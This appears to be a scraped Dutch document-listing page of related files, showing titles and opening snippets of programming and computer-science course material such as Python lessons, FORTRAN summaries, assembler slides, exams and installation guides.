Pythoncursus Eindopdracht L-systemen Joost, Koen, Marein en Ramon december 2015 Samenvatting Dit is de eindopdracht van deze cursus. Hij bestaat uit een aantal onderdelen. Als je minimaal onderdeel a,
Nadere informatieJe gaat leren programmeren en een spel bouwen met de programmeertaal Python. Websites zoals YouTube en Instagram zijn gebouwd met Python.
1 Je gaat leren programmeren en een spel bouwen met de programmeertaal Python. Websites zoals YouTube en Instagram zijn gebouwd met Python. Voordat je leert programmeren, moet je jouw pc zo instellen dat
Nadere informatieAls een PSD selecties bevat, deelt de lijn van het programma zich op met de verschillende antwoorden op het vraagstuk.
HOOFDSTUK 3 3.1 Stapsgewijs programmeren In de vorige hoofdstukken zijn programmeertalen beschreven die imperatief zijn. is het stapsgewijs in code omschrijven wat een programma moet doen, net als een
Nadere informatieComputerarchitectuur en netwerken. Memory management Assembler programmering
Computerarchitectuur en netwerken 2 Memory management Assembler programmering Lennart Herlaar 10 september 2018 Inhoud 1 Protectie: Hoe het O.S. programma s tegen elkaar kan beschermen modes memory management
Nadere informatieOpdrachten numerieke methoden, week 1
Opdrachten numerieke methoden, week Opdracht : De potentiaal in een diode. [Bewijs dat ψ = u T arcsinh D 2n i ) ] ) ) D = n p = n i e ψ u T e ψ u ψ T = 2n i sinh u T ) D ψ = u T arcsinh 2n i.2 [Conditiegetal
Nadere informatieEen korte samenvatting van enkele FORTRAN opdrachten
Een korte samenvatting van enkele FORTRAN opdrachten Inhoud 1 Introductie 3 2 De structuur van een FORTRAN programma 3 3 Datatypen, variabelen en declaraties 3 4 Expressies-volgorde van uitwerking 4 5
Nadere informatieKlik op OK om verder te gaan. U ziet het volgende scherm verschijnen:
Installatie van de Online Bijbel Studie DVD (editie 11-01) Datum: 26 januari 2011 Laatste revisie: Versie: 1.0 Voordat u begint Deze instructie behandeld de te volgen stappen om de Online Bijbel Studie
Nadere informatieJavascript oefenblad 1
Leer de basis van Javascript. Javascript oefenblad 1 Niels van Velzen Javascript oefenblad 1 Pagina 2 Inleiding Javascript is niet altijd even makkelijk. Vooral aan het begin is het even wennen hoe de
Nadere informatieDuboCalc 4.0. Installatie instructie
DuboCalc 4.0 Installatie instructie Inhoudsopgave 1 Inleiding... 2 2 Verwijderen bestaande installaties... 3 3 Installatie DuboCalc Project... 4 4 Foutmeldingen... 8 1 DuboCalc Project 2.2 Installatie
Nadere informatieHOOFDSTUK 3. Imperatief programmeren. 3.1 Stapsgewijs programmeren. 3.2 If Then Else. Module 4 Programmeren
HOOFDSTUK 3 3.1 Stapsgewijs programmeren De programmeertalen die tot nu toe genoemd zijn, zijn imperatieve of procedurele programmeertalen. is het stapsgewijs in code omschrijven wat een programma moet
Nadere informatieMicrocontrollers Week 4 Introductie microcontroller Jesse op den Brouw (met dank aan Ben Kuiper) INLMIC/
Microcontrollers Week 4 Introductie microcontroller Jesse op den Brouw (met dank aan Ben Kuiper) INLMIC/2018-2019 Week 3 Lussen Ontdenderen Stack Parameteroverdracht 2 Wachtlussen In een programma willen
Nadere informatieSoftware Security III
COMP 4580 Computer Security Software Security III Dr. Noman Mohammed Winter 2019 Including slides from: David Brumley & others! Outline Assembly Language Memory Layout Control Flow Hijacking Methods Buffer
Nadere informatie10. Mijn eerste programma
10. Mijn eerste programma Een korte handleiding voor het invoeren en editten van programmatekst voor een pseudotaal programma. In dit hoofdstuk wordt beschreven hoe je je allereerste pseudotaal programma
Nadere informatieZo gaat jouw kunstwerk er straks uitzien. Of misschien wel heel anders.
Spirograaf in Python Een kunstwerk maken Met programmeren kun je alles maken! Ook een kunstwerk! In deze les maken we zelf een kunstwerk met Python. Hiervoor zal je werken met herhalingen en variabelen.
Nadere informatieDe MySQL C API. Variabelen in C Functies in C Pointers in C
LinuxFocus article number 304 http://linuxfocus.org De MySQL C API door Özcan Güngör Over de auteur: Ik gebruik Linux sinds 1997. Vrijheid, flexibiliteit en opensource. Dat
Nadere informatieHuiswerk Linux: Apache groepsrechten
Huiswerk Linux: Apache groepsrechten Opdracht: configureer Apache zodanig, dat je Cygwin niet meer Als administrator hoeft te starten om Apache te configureren. Om dit te bereiken maken we in Windows een
Nadere informatieL A TEX-workshop (Handleiding)
L A TEX-workshop (Handleiding) TEXniCie 10 november 2014 Inhoudsopgave 1 Inleiding 2 2 L A TEX 2 2.1 Voordelen........................................ 2 2.2 Nadelen.........................................
Nadere informatieDisclaimer Het bestand dat voor u ligt, is nog in ontwikkeling. Op verzoek is deze versie digitaal gedeeld. Wij willen de lezer er dan ook op wijzen
Disclaimer Het bestand dat voor u ligt, is nog in ontwikkeling. Op verzoek is deze versie digitaal gedeeld. Wij willen de lezer er dan ook op wijzen dat er zowel typografische als inhoudelijke onvolkomenheden
Nadere informatieROM en RAM in een ROMforth
Albert Nijhof 24/06/2016 ROM en RAM in een ROMforth Vragen Twee HERE's? Voor een forth die in (Flash)ROM compileert is het uitgangspunt dat programmacode en onveranderlijke data naar ROM gaan en veranderbare
Nadere informatieExamen computerarchitectuur
Examen computerarchitectuur Vrijdag 8 juni 2007, 14u00 Prof. Koen De Bosschere Naam, Voornaam: Richting: Belangrijk 1. Vergeet niet uw naam en voornaam te vermelden. 2. Schrijf de antwoorden in de daarvoor
Nadere informatieInstructies en blokken
Herhaling 1 Instructies en blokken Naar elke instructie staat een ; puntkomma Verschillende instructies worden door de accolades in een block samengevat. Een blok is het zelfde als een enkele instructie.
Nadere informatieicafe Project Joeri Verdeyen Stefaan De Spiegeleer Ben Naim Tanfous
icafe Project Joeri Verdeyen Stefaan De Spiegeleer Ben Naim Tanfous 2006-2007 Inhoudsopgave 1 2 1.1 Programmeertaal PHP5..................... 2 1.2 MySQL database......................... 3 1.3 Adobe Flash...........................
Nadere informatieEen eenvoudig algoritme om permutaties te genereren
Een eenvoudig algoritme om permutaties te genereren Daniel von Asmuth Inleiding Er zijn in de vakliteratuur verschillende manieren beschreven om alle permutaties van een verzameling te generen. De methoden
Nadere informatie3 e jaars GameTech student C++ voor hobby, eerste programmeertaal Assistent bij een heleboel vakken
18 Februari 2013 Tigran Gasparian 3 e jaars GameTech student C++ voor hobby, eerste programmeertaal Assistent bij een heleboel vakken Gydo Nieraeth 4 e jaars student, 3 e jaars GameTech C++ ervaring: Software
Nadere informatieEen gelinkte lijst in C#
Een gelinkte lijst in C# In deze tutorial ga demonstreren hoe je een gelinkte lijst kan opstellen in C#. We gaan een klasse schrijven, die een gelijkaardige functionaliteit heeft als een ArrayList, namelijk
Nadere informatieES1 Project 1: Microcontrollers
ES1 Project 1: Microcontrollers Les 5: Timers/counters & Interrupts Timers/counters Hardware timers/counters worden in microcontrollers gebruikt om onafhankelijk van de CPU te tellen. Hierdoor kunnen andere
Nadere informatieProgrammeren in C++ Efficiënte zoekfunctie in een boek
Examen Software Ontwikkeling I 2e Bachelor Informatica Faculteit Wetenschappen Academiejaar 2010-2011 21 januari, 2011 **BELANGRIJK** 1. Lees eerst de volledige opgave (inclusief de hints/opmerkingen)!
Nadere informatieEen.NET-besturingssysteemtoolkit. Discovering Cosmos. Sijmen J. Mulder
Een.NET-besturingssysteemtoolkit Discovering Cosmos Sijmen J. Mulder Agenda Boek 1 Cosmos: a very short introduction Boek 2 Modern Operating Systems Pauze Boek 3 The Design and Implementation of the Cosmos
Nadere informatierecursie Hoofdstuk 5 Studeeraanwijzingen De studielast van deze leereenheid bedraagt circa 6 uur. Terminologie
Hoofdstuk 5 Recursion I N T R O D U C T I E Veel methoden die we op een datastructuur aan kunnen roepen, zullen op een recursieve wijze geïmplementeerd worden. Recursie is een techniek waarbij een vraagstuk
Nadere informatieBestand: /home/karel/scripts/start-installatie Pagina 1 van 10
Bestand: /home/karel/scripts/start-installatie Pagina 1 van 10 1 #!/bin/bash 2 ############################################################################# 3 # Bestand: start-installatie # 4 # Doel: Script
Nadere informatieSparse columns in SQL server 2008
Sparse columns in SQL server 2008 Object persistentie eenvoudig gemaakt Bert Dingemans, e-mail : info@dla-os.nl www : http:// 1 Content SPARSE COLUMNS IN SQL SERVER 2008... 1 OBJECT PERSISTENTIE EENVOUDIG
Nadere informatieUNIVERSITEIT ANTWERPEN FACULTEIT WETENSCHAPPEN DEPARTEMENT WISKUNDE-INFORMATICA OBERON CODE CONVENTIONS
UNIVERSITEIT ANTWERPEN FACULTEIT WETENSCHAPPEN DEPARTEMENT WISKUNDE-INFORMATICA OBERON CODE CONVENTIONS Laatste aanpassing: 15 oktober 2003 Inhoudsopgave 1 Bestandsnamen 3 2 Organizatie Bestanden 3 3 Indentatie
Nadere informatieSoftware-Ontwikkeling I Academiejaar 2006-2007
Software-Ontwikkeling I Academiejaar 2006-2007 Project: Bibliotheekbeheer 1 1. Digitale bibliotheek a. Inleiding Bibliotheken houden onder meer hun collecties van uitleenbare artikels bij in digitaal formaat.
Nadere informatieMC Slotervaart. Handleiding Thuiswerken
MC Slotervaart Handleiding Thuiswerken Via het internet kunt u verbinding maken met het MC Slotervaart netwerk. Afhankelijk van de aan u toegekende rechten kunt u toegang krijgen tot uw e-mail, bestanden,
Nadere informatieMeer Blokken. 1. Dit is een functie genaamd Maximum, die twee argumenten heeft: number1 en number2.
Meer Blokken Voorkennis: SuperDojo, Snake Leerdoelen: Meer Blokken Introductie Meer Blokken zijn Scratch s manier van functies. Functies zijn een heel belangrijk concept in alle programmeertalen. Het staat
Nadere informatieExamen computerarchitectuur
Examen computerarchitectuur Vrijdag 6 juni 2008, 14:00 Prof. Koen De Bosschere Naam, Voornaam: Richting: Belangrijk 1. Vergeet niet uw naam en voornaam te vermelden. 2. Schrijf de antwoorden in de daarvoor
Nadere informatieGetalformaten, timers en tellers
Getalformaten, timers en tellers S_CU CU S PV R CV DEZ CV_BCD S_ODT S TV BI R BCD 1 pagina 1 Getalformaten (16 bits) PG CPU BCD W#16#296 Voorteken (+) 2 9 6 0 0 0 0 0 0 1 0 1 0 0 1 0 1 1 0 Positieve getallen
Nadere informatieVBA voor Doe het Zelvers deel 20
VBA voor Doe het Zelvers deel 20 Handleiding van Auteur: leofact Augustus 2015 handleiding: VBA voor Doe het Zelvers deel 20 Vorige aflevering In het vorige deel werd besproken hoe je de structuur en vensteropbouw
Nadere informatieJava virtuele machine JVM
Implementatie Java Java virtuele machine JVM Java programma vertaald naar byte code instructies Byte code instructies uitgevoerd door JVM JVM is processor architectuur kan in principe in hardware worden
Nadere informatieStapelgeheugen. Processoren 6 maart 2012
Stapelgeheugen Processoren 6 maart 2012 Programma van komende week 7 maart 8.45: extra vragenuur over HADES 13 maart 8.45: hoorcollege vervalt, maar werkcolleges vinden plaats. Stapelgeheugen Tanenbaum
Nadere informatieWerking van de Office Connector, en het oplossen van fouten.
Werking van de Office Connector, en het oplossen van fouten. De Office Connector zorgt ervoor dat de Microsoft Officeomgeving gebruikt kan worden als ontwerp en genereeromgeving voor documenten waarbij
Nadere informatieDrICTVoip.dll v 2.1 Informatie en handleiding
DrICTVoip.dll v 2.1 Informatie en handleiding Nieuw in deze versie : Koppeling voor web gebaseerde toepassingen (DrICTVoIPwebClient.exe) (zie hoofdstuk 8) 1. Inleiding Met de DrICTVoIP.DLL maakt u uw software
Nadere informatie